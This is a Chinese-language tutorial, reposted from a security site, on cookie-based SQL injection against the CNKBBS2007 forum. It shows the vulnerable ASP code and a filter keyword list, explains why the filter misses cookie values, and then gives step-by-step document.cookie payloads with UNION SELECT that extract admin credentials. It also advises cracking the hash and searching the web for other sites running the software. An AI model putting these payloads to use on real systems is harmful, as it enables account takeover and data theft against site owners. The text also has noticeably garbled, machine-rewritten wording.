cookies注入:Cookies的注入思路方法和原理

来源:安全中国

现在很多网站WebSite都采用了通用防注入那么对于这种网站WebSite我门是否就束手无策了呢?答案是否定我们可以采用cookie 注入思路方法而很多通用防注入对这种注入方式都没有防备

在讲的前,我们还是来回顾下ASP脚本中Request对象知识吧,上面几讲中都提到Request对象获取客户端提交数据常用是GET和POST 2种方式,同时request对象可以不通过集合来获得数据,即直接使用"request("name")"但它效率低下,容易出错,当我们省略具体集合名称时,ASP是按QueryString,from,cookie,servervariable,集合顺序来搜索,在request对象成员中集合cookies,它意思是"读取用户系统发送所有cookie值,我们从第 2讲有关"cookies欺骗入侵和原理"中知道,cookies是保存在客户端计算机个文本文件,可以进行修改,这样来,我们就可以使用Request.cookie方式来提交变量值,从而利用系统漏洞进行注入攻击.

我们首先还是来看看中网景论坛最新版本"(CNKBBS2007)中网景论坛2007v5.0 "官方下载地址"http://www.cnetking.com/websys2.asp?id=26"发布时间是2007-06-06,打开系统源代码后,在"user_RxMsg_detail.asp"文件中,有如下代码:



<!--# file="opendb.asp" -->
(opendb.asp文件)
<!--# file="char.asp" -->
<%
Call CheckUserLogin(username)
Dim action,s,id
id=request("id") (获取客户提交变量,并赋值给id,并没过滤,也没有指定采用那种方式提交)
id<>"" then Call IsNum(bid) (这是出现地方,注意bid<>id)
conn.execute("update cnk_Users_RxMsg readed=1 where id="&id) ’设置已读
rs.open "select * from cnk_users_RxMsg where id="&id,conn,1,3



我们再打开"opendb.asp"文件

<%Option Explicit
Response.Buffer = true%>
<!--# file="fzr.asp" --> (fzr.asp文件)
<!--# file="cnkdata/dbname.asp" -->
<!--# file="config.asp"-->
..................




以现它是连接数据库文件,其中了fzr.asp文件,我们再打开fzr.asp文件


<%
’--------版权介绍说明------------------
’SQL通用防注入
’Aseanleung
’--------定义部份------------------
Dim Fy_Post,Fy_Get,Fy_In,Fy_Inf,Fy_Xh,Fy_db,Fy_dbstr
Dim fso1,all_tree2,file1,files,filez,fs1,zruserip
If Request.QueryString<>"" Then (对Request.QueryString提交(客户采用GET方式提交)数据进行判断,并没有指明对其它方式提交数据进行判断)
’自定义需要过滤字串,用 "|" 分隔
Fy_In = "’|;|%|*|and|exec|insert|select|delete|update|count|chr|mid|master|truncate|char|declare|script" (阻止了常用SQL注入语句)
Fy_Inf = split(Fy_In,"|")
For Each Fy_Get In Request.QueryString
For Fy_Xh=0 To Ubound(Fy_Inf)
If Instr(LCase(Request.QueryString(Fy_Get)),Fy_Inf(Fy_Xh))<>0 Then
zruserip=Request.ServerVariables("HTTP_X_FORWARDED_FOR")
If zruserip="" Then zruserip=Request.ServerVariables("REMOTE_ADDR")
Response.Write "内容含有非法!请不要有’或and或or等请去掉这些再发!!<br>"
Response.Write "如是要攻击网站WebSite系统记录了你操作↓<br>"
Response.Write "操作IP:"&zruserip&"<br>"
Response.Write "操作时间:"&Now&"<br>"
Response.Write "操作页面:"&Request.ServerVariables("URL")&"<br>"
Response.Write "提交方式:GET<br>"
Response.Write "提交参数:"&Fy_Get&"<br>"
Response.Write "提交数据:"&Request.QueryString(Fy_Get)
......................

很明显看出它是个SQL通用防注入文件,(以上红字是对代码解释)

代码看好了,我们来整理下思路:由于出错,导致了id没有被过滤就被带到SQL语句中查询,这是注入漏洞产生原因,虽然引入了防注入,阻止了常用SQL语句使用,但只对客户采用GET方式提交数据进行判断,而没有对其它方式提交数据进行判断,这样导致了客户可以使用Request.cookie方式来提交变量值,而绕过了SQL防注入(整理总结下:cookie注入产生条件:系统直接使用"request("name")"获取客户提交数据,并对客户提交变量没有过滤,而且在防注入中没有限制Request.cookie,现在防注入3.0只是对客户采用GET和POST提交方式进行了限制).

原理讲好了,下面我们来学学coolie注入语句吧

cookies注入语句:alert(document.cookie="id="+escape("这就是asp? id=xx后面xx代表数值) and (这里是注入攻击代码)"));

这儿用到了javascript语言知识,我把这语句意思分解如下,以便大家理解:

1:"alert"显示信息对话框alert思路方法,它生成个独立小窗口,称作对话框,用来显示条信息和个按钮.(我们在跨站中常用到)

2:"document.cookie"我们在处理cookie时,javascript将它保存为document对象个属性,其属性名称是cookie,利用这个属性,我们可以创建和读取cookie数据,在中可以使用:"alert(document.cookie)"当前页面cookie数据项值.在我们启动浏览器打开页面后,如果存在相应cookie,那么它被装入到document对象cookie属性中,document.cookie属性采用name=value对应方式保存各个cookie数据项值.document(文档)对象表示在浏览器里显示HTML(向页面输出数据),cookie属性是允许读写HTTPcookie;串类型

4:escape;它将串中所有非字母转换为用字母数字表示等价串,具有编码功能.般情况下,cookie通常由服务器端通过HTTP请求和响应头发送给浏览器,但是,利用javascript,可以在本地浏览器中设置cookie格式:name=value属性是指定cookie数据项名称,value是该名称对应值,它是串,也可是由系列组成,name和value中不能包含分号,逗号及空白,(50"and 1=1")有分号,逗号及空白,所以我们要用到escape对他们进行编码

上面整句意思大家都明白了吧,就是设置当前创建cookie数据项值,在设置cookie时,它们首先保存在浏览器内存中,退出浏览器时,才能被写入到硬盘中.(这就是在下面操作中为什么在退出后,再输入链接地址原因)

最后我们来测试下,利用步骤:

1:打开在本地机子上架设中网景论坛:注册个用户,我们就会收到管理员发来条短信息,我们打开短信息链接(注意这儿参数id值)

2:把浏览器URL清空,输入"alert(document.cookie="id="+escape("相应参数id值 and 1=1"));的后会弹出个框框,

3:再次输入:http://127.0.0.1/cnkbbs5.2_ac/user_RxMsg_detail.asp?username=论坛管理员(返回正常页面,介绍说明我们绕过了SQL防注入了)

3:再输入:alert(document.cookie="id="+escape("1 and 1=2"));然后再输入:http://127.0.0.1/cnkbbs5.2_ac/user_RxMsg_detail.asp?username=论坛管理员(时间和内容都没有显示了,介绍说明我们可以进行注入了)

4:通过查看系统数据库,得知cnk_users_RxMsg 表里有8个字段,Cnk_Admin表是存放管理员资料,其中AdminName,AdminPassword字段分别对应是账号和密码,我们使用联合查询语句,再输入:alert(document.cookie="id="+escape("1 and 1=2 union select 1,2,3,4,5,6,7,8 from Cnk_Admin"))然后把地址栏清空,输入http://127.0.0.1/cnkbbs5.2_ac/user_RxMsg_detail.asp,可经看到显示了数字4和5

5:再次把地址栏清空,输入:alert(document.cookie="id="+escape("1 and 1=2 union select 1,2,3,AdminName,AdminPassword,6,7,8 from Cnk_Admin")),提交后,清空地址栏,输入:http://127.0.0.1/cnkbbs5.2_ac/user_RxMsg_detail.asp?username=论坛管理员,这样我们就在页面上看到管理员密码和账号了

6:把得到密码放入http://www.cmd5.com网站WebSite查询,得知管理员明文密码是admin,在网站WebSite首页我们就可进行登录后台了,我们也可利用关键字"Powered by CNKBBS2007 (5.2)"去网上找使用这系统网站WebSite,(不过不是很多啊)大家去练习下手工注入吧,可别搞在破坏哟!不过在使用这类注入时,它需要两次手动操作才能完成,这也是容易出错地方,可要细心才行.

Tags:  防cookies注入 cookies注入教程 cookies注入工具 cookies注入

延伸阅读

最新评论

发表评论